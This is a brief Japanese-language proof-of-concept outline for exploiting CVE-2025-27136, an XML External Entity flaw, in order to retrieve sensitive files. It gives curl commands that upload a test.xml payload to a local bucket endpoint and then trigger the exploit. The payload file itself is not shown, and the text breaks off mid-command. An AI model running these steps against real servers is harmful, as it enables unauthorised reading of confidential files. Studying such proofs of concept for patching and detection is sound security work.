CVE-2025-27136

CVE-2025-27136 XML External Entity（XXE）脆弱性の悪用 XMLペイロードを使用して機密ファイルを取得する（PoC） test.xml curlを使用して、ローカルマシンからバケットに test.xml をアップロードします。 curl -X PUT http://127.0.0.1:PORT/TB1 -H "Content-Type: application/xml" -d @test.xml エクスプロイトをトリガーしてファイルを取得する curl http://127.0.0.1:PORT/TB1?location...